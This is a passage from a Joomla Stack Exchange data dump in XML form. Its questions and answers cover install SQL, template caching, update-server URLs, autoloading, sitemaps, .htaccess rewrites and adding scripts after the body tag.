example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__myextension_table` (...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update: &lt;code&gt;INSERT&lt;/code&gt;'s&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For the case of using your &lt;code&gt;INSERTs&lt;/code&gt; in your existing tables that already have the same values, your can modify your &lt;code&gt;INSERT&lt;/code&gt; sql statements to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT IGNORE INTO mytable&#xA;    (pK, field1, field2)&#xA;VALUES&#xA;    (1, val1, val2),&#xA;    (2, val3, val4),&#xA;    (3, val5, val6);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;INSERT IGNO&lt;/code&gt; will skip any items with Duplicate primary key.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-18T09:54:50.353" LastActivityDate="2017-01-18T09:54:50.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18877" PostTypeId="1" AcceptedAnswerId="18882" CreationDate="2017-01-17T22:55:27.317" Score="1" ViewCount="2701" Body="&lt;p&gt;I am new to using Joomla, I have a temporary hosting account on Demojoomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed a template called Helix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to Extensions &gt; Templates &gt; Styles I can click on my template and configure it, and save the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when I refresh the site, nothing has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I close the template editing screen and refresh the page, I can see the changes, but only until I refresh again or choose a different menu option, then it reverts back to the old design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I then disable the template and enable one of the standard Joomla templates instead, when I refresh the page, the display reverts to the Joomla template, but if I then navigate to a different page, I get the Helix template back again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some links give my modified Helix template, others the default Helix template, others a standard Joomla template, it's pretty random and different each time. It's unusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I done something wrong in config, or is there a serious bug in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="9564" LastEditorUserId="126" LastEditDate="2017-01-19T13:44:17.697" LastActivityDate="2017-01-19T13:44:17.697" Title="Joomla Template - site design not updating" Tags="|templates|cache|helix3|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18880" PostTypeId="1" CreationDate="2017-01-18T08:24:10.867" Score="2" ViewCount="25" Body="&lt;p&gt;When I install myplugin the very first time, it should update the &lt;code&gt;location&lt;/code&gt; column in &lt;code&gt;#__update_sites&lt;/code&gt; table with updated string which includes the API key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unable to update at first install as I my query doesnt get the &lt;code&gt;update_site_id&lt;/code&gt; from &lt;code&gt;#__update_sites_extensions&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder why? Due to this I'm unable to update the string. Only following installation can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise, at which stage joomla actually updates the &lt;code&gt;#__update_sites_extensions&lt;/code&gt; with the &lt;code&gt;location/ url&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there a way to prevent Joomla inserting into this table the &lt;code&gt;url&lt;/code&gt; on every installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in xml file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;&amp;lt;server type=&quot;extension&quot; name=&quot;myplugin Update Site&quot;&amp;gt;https://test.com/jupdates/manifest/myplugin&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In script.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function postflight()&#xA;    {&#xA;       $extensionId = $this-&amp;gt;getExtensionId();&#xA;       $updateSiteId = $this-&amp;gt;updateSiteId($extensionId);&#xA;       $defaultLocation = 'https://test.com/jupdates/manifest/myplugin';&#xA;       $location = $defaultLocation . '?apikey=' . APIKEY;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;update the location string with api key&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       $db = JFactory::getDBO();&#xA;       $query = array();&#xA;       $query   = 'UPDATE '. $db-&amp;gt;quoteName('#__update_sites')&#xA;            . ' SET ' . $db-&amp;gt;quoteName('location') . ' = ' . $db-&amp;gt;Quote($location)&#xA;            . ' WHERE ' . $db-&amp;gt;quoteName('update_site_id') . ' = ' . $db-&amp;gt;Quote($updateSiteId);&#xA;&#xA;       $db-&amp;gt;setQuery($query);&#xA;       $db-&amp;gt;query();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getExtensionId()&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;&#xA;    $query = array();&#xA;    $query[] = 'SELECT ' . $db-&amp;gt;quoteName('extension_id') . ' FROM ' . $db-&amp;gt;quoteName('#__extensions');&#xA;    $query[] = 'WHERE ' . $db-&amp;gt;quoteName('element') . '=' . $db-&amp;gt;Quote('myplugin');&#xA;    $query[] = 'AND ' . $db-&amp;gt;quoteName('type') . '=' . $db-&amp;gt;Quote('plugin');&#xA;&#xA;    $query = implode(' ', $query);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $extensionId = $db-&amp;gt;loadResult();&#xA;&#xA;&#xA;    return $extensionId;&#xA;}&#xA;&#xA;public function updateSiteId($extensionId)&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;&#xA;    $query = array();&#xA;    $query[] = 'SELECT ' . $db-&amp;gt;quoteName('update_site_id') . ' FROM ' . $db-&amp;gt;quoteName('#__update_sites_extensions');&#xA;    $query[] = 'WHERE ' . $db-&amp;gt;quoteName('extension_id') . '=' . $db-&amp;gt;Quote($extensionId);&#xA;&#xA;    $query = implode(' ', $query);&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $updateSiteId = $db-&amp;gt;loadResult();&#xA;&#xA;&#xA;    return $updateSiteId;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9566" LastEditorUserId="9566" LastEditDate="2017-01-18T08:30:45.987" LastActivityDate="2017-01-20T03:56:43.573" Title="Unable to update deploy server url during postflight event" Tags="|installation|plugin-events|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18881" PostTypeId="2" ParentId="18877" CreationDate="2017-01-18T09:42:36.953" Score="1" Body="&lt;p&gt;A few things to note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Templates can be assigned per page/menu item.&lt;/li&gt;&#xA;&lt;li&gt;You can have many template styles assigned to different pages&lt;/li&gt;&#xA;&lt;li&gt;We don't know what exactly changes you do on the template and if what you do is right or can be applicable on the front-end pages you are viewing. So in conjunction with the above 2 items and by studying the documentation of your template, make sure you are using it right.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for the possibility of cached content:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Many templates implement features like compressing, minifying, caching of their assets. Many others use modern technologies like less or sass for their css, that will compile the css when this is requested. So css changes may not be visible until the engine compile a new css file.&lt;/li&gt;&#xA;&lt;li&gt;Read also this: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/18842/where-could-the-cache-be&quot;&gt;CSS Change won&amp;#39;t apply - Where could the cache be?&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-01-18T09:42:36.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18882" PostTypeId="2" ParentId="18877" CreationDate="2017-01-18T10:57:25.033" Score="2" Body="&lt;p&gt;The Demo Joomla sites are hosted by SiteGround and may have &lt;a href=&quot;https://www.siteground.com/tutorials/supercacher/dynamic_cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;SiteGround dynamic cache&lt;/a&gt; enabled by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try temporarily disabling &quot;System - jSGCache&quot; in Extensions -&gt; Plugins if this plugin exists and is enabled.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-01-18T10:57:25.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18883" PostTypeId="1" AcceptedAnswerId="18886" CreationDate="2017-01-18T12:33:28.763" Score="0" ViewCount="35" Body="&lt;p&gt;How come I have to manually include JTable, JModel, etc? Is this for security reasons or just a missing feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Top google blog post about it: &lt;a href=&quot;http://dongilbert.net/php-autoloading-and-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dongilbert.net/php-autoloading-and-joomla/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2017-01-18T19:08:57.587" Title="No autoloader for JTable etc?" Tags="|autoload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18884" PostTypeId="2" ParentId="18865" CreationDate="2017-01-18T12:43:43.650" Score="0" Body="&lt;p&gt;If you need dynamic sitemap creation from inside your Joomla, then you need an extension or to develop something on your own, that will scan/crawl your site to discover urls and then generate the &lt;code&gt;sitemap.xml&lt;/code&gt;. It will need also to be triggered and updated when you create new content/pages.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/category/structure-a-navigation/site-map&quot; rel=&quot;nofollow noreferrer&quot;&gt;JED: Sitemaps&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also other 3rd party SEO services that provide sitemap generators, or other stand-alone online sitemap generators etc. Just google about it e.g.: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.gr/search?client=safari&amp;amp;rls=en&amp;amp;q=xml%20sitemaps%20online&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;gfe_rd=cr&amp;amp;ei=UmN_WOb2Bare8gfdspvgCw&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;G:Search: xml sitemaps online&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally, if you don't update your content very often, you can always create a &lt;code&gt;sitemap.xml&lt;/code&gt; file by hand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt; &#xA;&amp;lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt; &#xA;    &amp;lt;url&amp;gt; &#xA;        &amp;lt;loc&amp;gt;http://www.example.com/page1&amp;lt;/loc&amp;gt;&#xA;        &amp;lt;lastmod&amp;gt;2016-01-18&amp;lt;/lastmod&amp;gt;&#xA;        &amp;lt;priority&amp;gt;0.5&amp;lt;/priority&amp;gt;&#xA;        &amp;lt;changefreq&amp;gt;monthly&amp;lt;/changefreq&amp;gt;&#xA;    &amp;lt;/url&amp;gt; &#xA;    &amp;lt;url&amp;gt; &#xA;        &amp;lt;loc&amp;gt;http://www.example.com/page2&amp;lt;/loc&amp;gt;&#xA;        &amp;lt;lastmod&amp;gt;2016-01-18&amp;lt;/lastmod&amp;gt;&#xA;        &amp;lt;priority&amp;gt;0.5&amp;lt;/priority&amp;gt;&#xA;        &amp;lt;changefreq&amp;gt;monthly&amp;lt;/changefreq&amp;gt;&#xA;    &amp;lt;/url&amp;gt;&#xA;    &amp;lt;url&amp;gt; &#xA;        &amp;lt;loc&amp;gt;http://www.example.com/fr/page1&amp;lt;/loc&amp;gt;&#xA;        &amp;lt;lastmod&amp;gt;2016-01-18&amp;lt;/lastmod&amp;gt;&#xA;        &amp;lt;priority&amp;gt;0.5&amp;lt;/priority&amp;gt;&#xA;        &amp;lt;changefreq&amp;gt;monthly&amp;lt;/changefreq&amp;gt;&#xA;    &amp;lt;/url&amp;gt;&#xA;    &amp;lt;url&amp;gt; &#xA;        &amp;lt;loc&amp;gt;http://www.example.com/fr/page2&amp;lt;/loc&amp;gt;&#xA;        &amp;lt;lastmod&amp;gt;2016-01-18&amp;lt;/lastmod&amp;gt;&#xA;        &amp;lt;priority&amp;gt;0.5&amp;lt;/priority&amp;gt;&#xA;        &amp;lt;changefreq&amp;gt;monthly&amp;lt;/changefreq&amp;gt;&#xA;    &amp;lt;/url&amp;gt;&#xA;&amp;lt;/urlset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-18T12:43:43.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18885" PostTypeId="1" CreationDate="2017-01-18T15:15:03.850" Score="1" ViewCount="47" Body="&lt;p&gt;We have created multiple Joomla website, from smaller projects, to big ones. There was always the idea of implementig neu things and trying them out so we can come to an basic project, where we could always start from.&#xA;Last thing  i was using is T3 Framework, ZOO application builder and also Widgetkit from Yootheme and i must say i kinda got the best form that we wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now still, i can´t say its the best solution. Widgetkit from yootheme has no front-end edit and ZOO has also so manj limitations on front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All customers want front-end edit and we always come to an end when it comes to that. I just can´t get the right recipe for all. Its never a project where fron-end is 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, sometimes is fron-end edit a bit dull and not so inovative as for some application and extension, but unfortunately everyone is expecting that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would you say is the best combination of template, modules and frameworks that you use and would you recomend that allows fron-end edit for everything possible? For galeries, content, blog, news,...&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2017-01-18T15:15:03.850" Title="Which template, frameworks do you use when developing a website for front-end edit?" Tags="|joomla-3.x|t3-framework|zoo|" AnswerCount="0" CommentCount="2" ClosedDate="2017-01-22T22:54:04.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="18886" PostTypeId="2" ParentId="18883" CreationDate="2017-01-18T19:08:57.587" Score="0" Body="&lt;p&gt;This is just a missing feature for sure.&#xA;To backup this statement:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Autoloading would not be so spread allover the world if it would lead&#xA;to security issues. &lt;/li&gt;&#xA;&lt;li&gt;Joomla looking ahead for PSR-4 autoloading at 4.x&#xA;branch&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And If you want it now - look at this &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11061&quot; rel=&quot;nofollow noreferrer&quot;&gt;PR&lt;/a&gt;. If you'll register this loader function - you'll be able to autoload everything. Check description of PR.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-18T19:08:57.587" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18887" PostTypeId="2" ParentId="16460" CreationDate="2017-01-18T19:14:52.723" Score="2" Body="&lt;p&gt;You must customize this part or remove it at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#index.php to root&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*index\.(html?|php)\ HTTP/&#xA;RewriteCond %{REQUEST_URI} !^/administrator/&#xA;RewriteRule (([^/]+/)*)index\.(html?|php)$ http://www.nozadam.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example it can be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #index.php to root&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*index\.(html?|php)\ HTTP/&#xA;RewriteCond %{REQUEST_URI} !^/administrator/&#xA;RewriteCond %{REQUEST_URI} !^/subdir/.*?&#xA;RewriteRule (([^/]+/)*)index\.(html?|php)$ http://www.nozadam.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^/subdir/.*?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will  allow you to call files directly from &lt;code&gt;subdir&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-18T19:14:52.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18888" PostTypeId="2" ParentId="18851" CreationDate="2017-01-18T19:37:44.937" Score="1" Body="&lt;p&gt;I would say this is related to the port change that you have on your system. Maybe there's another place that you will need to change that port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use Chrome for the installation, and check the error console. It might be that Joomla's ajax is trying to connect somewhere at port 80, but failing.&lt;/li&gt;&#xA;&lt;li&gt;Check your server logs for any connections on port 80 - this will give you an idea which script is trying to connect to that port.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you can't find anything, then try to run the server at port 80 and see if that fixes the problem (use a different browser, as the previous browser might have saved some environment settings).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-01-18T19:37:44.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18889" PostTypeId="2" ParentId="17245" CreationDate="2017-01-18T19:42:37.023" Score="1" Body="&lt;p&gt;Here you are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;qn('s.SubmissionId','id'))&#xA;        -&amp;gt;select($db-&amp;gt;qn('s.DateSubmitted','date'))&#xA;        -&amp;gt;select($db-&amp;gt;qn('sv.FieldValue','status'))&#xA;        -&amp;gt;select($db-&amp;gt;qn('nv.FieldValue','name'))&#xA;        -&amp;gt;select($db-&amp;gt;qn('ev.FieldValue','email'))&#xA;        -&amp;gt;from($db-&amp;gt;qn('#__rsform_submissions','s'))&#xA;        -&amp;gt;leftJoin($db-&amp;gt;qn('#__rsform_submission_values','sv').' ON '.$db-&amp;gt;qn('sv.SubmissionId').' = '.$db-&amp;gt;qn('s.SubmissionId').' AND '.$db-&amp;gt;qn('sv.FieldName').' = '.$db-&amp;gt;q('status'))&#xA;        -&amp;gt;leftJoin($db-&amp;gt;qn('#__rsform_submission_values','nv').' ON '.$db-&amp;gt;qn('nv.SubmissionId').' = '.$db-&amp;gt;qn('s.SubmissionId').' AND '.$db-&amp;gt;qn('nv.FieldName').' = '.$db-&amp;gt;q('name'))&#xA;        -&amp;gt;leftJoin($db-&amp;gt;qn('#__rsform_submission_values','ev').' ON '.$db-&amp;gt;qn('ev.SubmissionId').' = '.$db-&amp;gt;qn('s.SubmissionId').' AND '.$db-&amp;gt;qn('ev.FieldName').' = '.$db-&amp;gt;q('email'))&#xA;        -&amp;gt;where($db-&amp;gt;qn('sv.FieldValue').' = '.$db-&amp;gt;q('open'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As output you'll have row with data you need. I believe the code is easy enough to figure out each line.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-18T19:42:37.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18892" PostTypeId="1" AcceptedAnswerId="18900" CreationDate="2017-01-19T13:47:09.717" Score="2" ViewCount="1608" Body="&lt;p&gt;So, I've just recently added the Facebook Javascript SDK to my site to be able to enable a &quot;like&quot; button to my pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook recommends adding this right after the opening &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag. The only I could find to do this was to modify the &lt;code&gt;index.php&lt;/code&gt; file of my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The danger here is that my code will be wiped if the template is updated. This is not a huge deal, but would make future-proofing the site a lot easier to do this correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what's the best way to do this? &lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="126" LastEditDate="2017-01-20T07:26:19.990" LastActivityDate="2018-11-27T13:37:45.437" Title="What's the correct way of adding code after the start of the body tag?" Tags="|javascript|joomla-3.6|facebook|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18893" PostTypeId="2" ParentId="18892" CreationDate="2017-01-19T15:05:45.680" Score="0" Body="&lt;p&gt;The template usually would be the place to do that. You could add the code to a separate facebook.php file in yout template directory and the add that to the index.php file through a php include:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;?php include('facebook.php'); ?&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9571" LastActivityDate="2017-01-19T15:05:45.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18894" PostTypeId="2" ParentId="18892" CreationDate="2017-01-19T21:05:50.587" Score="1" Body="&lt;p&gt;Is your template based on one of the popular frameworks? (Gantry 5 by RocketTheme, Warp by YooTheme, T3 by JoomlaArt, etc.)&#xA;If so, that framework provider should have documented how and where to make changes that will survive upgrades. For example, one can add &lt;a href=&quot;http://docs.gantry.org/gantry5/configure/page-settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom code to Gantry 5 templates&lt;/a&gt; in the head and body tags on the admin panel. &lt;/p&gt;&#xA;" OwnerUserId="7250" LastActivityDate="2017-01-19T21:05:50.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18895" PostTypeId="2" ParentId="18880" CreationDate="2017-01-20T03:56:43.573" Score="1" Body="&lt;p&gt;The update server definition is not loaded to the database until the &lt;code&gt;onExtensionAfterInstall&lt;/code&gt; event is dispatched, and this depends on the &quot;Extension - Joomla&quot; plugin being enabled.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-01-20T03:56:43.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18896" PostTypeId="2" ParentId="18856" CreationDate="2017-01-20T04:00:13.467" Score="4" Body="&lt;p&gt;As of 3.6.3, the Joomla core templates will give you the stack trace (including any nested Exceptions of the top level object that ultimately gets caught by the error handler) when the site is in debug mode.  Of course, such a feature is also dependent on the template supporting it if it has a custom error.php layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/10964&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/10964&lt;/a&gt; for the relevant changes you would need to make in the error.php file.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-01-20T04:00:13.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18897" PostTypeId="2" ParentId="18841" CreationDate="2017-01-20T04:08:06.987" Score="2" Body="&lt;p&gt;Recently we launched a public API on the Joomla Downloads site for things like this.  Take a look at &lt;a href=&quot;https://downloads.joomla.org/api-docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/api-docs/&lt;/a&gt; for information on all of the available endpoints.  Specifically, you'll want to work with the &lt;a href=&quot;https://downloads.joomla.org/api/v1/latest/cms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/api/v1/latest/cms&lt;/a&gt; endpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to add, not all of the Joomla releases have tags on the Git repository.  The tags weren't transferred over at all when the code was migrated from the old SVN repository.  For every release since 1.7.3 in late 2011 the data will all be there, but the one canonical source for all of the releases (dates, packages, versions) all the way back to 2005 will be the downloads site since we transferred over all of the non-version controlled resources from the old JoomlaCode site.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-01-20T04:08:06.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18898" PostTypeId="2" ParentId="18820" CreationDate="2017-01-20T04:18:00.207" Score="2" Body="&lt;p&gt;You should be able to display ratings on the category view; in 3.6.5 and earlier this is done in the voting plugin's &lt;code&gt;onContentBeforeDisplay&lt;/code&gt; event which forces the display to be at the beginning of an item and 3.7 will allow you to customize the position to the bottom of the item.  So as long as the plugin is enabled and your layout is displaying the results of the plugin event (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3.6.5/components/com_content/views/category/tmpl/blog_item.php#L48-L49&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/3.6.5/components/com_content/views/category/tmpl/blog_item.php#L48-L49&lt;/a&gt; for the &quot;blog&quot; category view, oddly enough it seems the &quot;default&quot; view doesn't display the event results) you should get the item's rating.  The plugin is hardcoded to only display the voting form on the article view though.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-01-20T04:18:00.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18899" PostTypeId="2" ParentId="18624" CreationDate="2017-01-20T04:28:28.553" Score="2" Body="&lt;p&gt;No, there isn't a way to pass arguments into methods.  Specifically, this has to do with how &lt;code&gt;JControllerLegacy::execute()&lt;/code&gt; routes the request.  So you're left with using the request or session to fetch your needed data.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-01-20T04:28:28.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18900" PostTypeId="2" ParentId="18892" CreationDate="2017-01-20T06:47:26.857" Score="3" Body="&lt;p&gt;Complementing the answer from @veritas399, you could also use a third party extension such as &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easyscript&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasyScript&lt;/a&gt; or similar to insert the code into your web page without worrying about future template or other updates overwriting your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook may recommend adding this right after the opening &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag but &lt;a href=&quot;https://stackoverflow.com/a/196718/1983389&quot;&gt;this may not be the best advice from a performance point of view&lt;/a&gt; and is likely not essential.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-01-20T06:47:26.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18901" PostTypeId="2" ParentId="18892" CreationDate="2017-01-20T07:25:27.573" Score="1" Body="&lt;p&gt;To add to @Neil Robertson's answer - there are tons of plugins/extensions that implement &lt;strong&gt;Facebook Like/Share&lt;/strong&gt; and other &lt;strong&gt;Social Sites Integrations&lt;/strong&gt; - which might be a better alternative for you, since your actual requirement is to simply add &lt;strong&gt;FB Like Buttons&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at JED:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/category/social-web&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JED Social Web&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/category/social-web/social-share&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JED Social Sharing&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, some templates provide such features and all you have to do is to add your own FB App ID - so make sure you have search in your template about this possibility.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-20T07:25:27.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18904" PostTypeId="2" ParentId="18892" CreationDate="2017-01-20T10:26:24.420" Score="3" Body="&lt;p&gt;If you don't want to edit the template's &lt;code&gt;index.php&lt;/code&gt; file, then I'd suggest that you use a plugin and utilise &lt;code&gt;JApplication&lt;/code&gt; to get and set the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use the following in your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender()&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    if ($app-&amp;gt;isSite())&#xA;    {&#xA;        $buffer = $app-&amp;gt;getBody();&#xA;&#xA;        $insert = '&amp;lt;div&amp;gt;YOUR HTML CODE TO INSERT&amp;lt;/div&amp;gt;';&#xA;&#xA;        $buffer = preg_replace('/&amp;lt;body[^&amp;gt;]+&amp;gt;\K/i', $insert, $buffer);&#xA;&#xA;        // Use the replaced HTML body.&#xA;        $app-&amp;gt;setBody($buffer);&#xA;    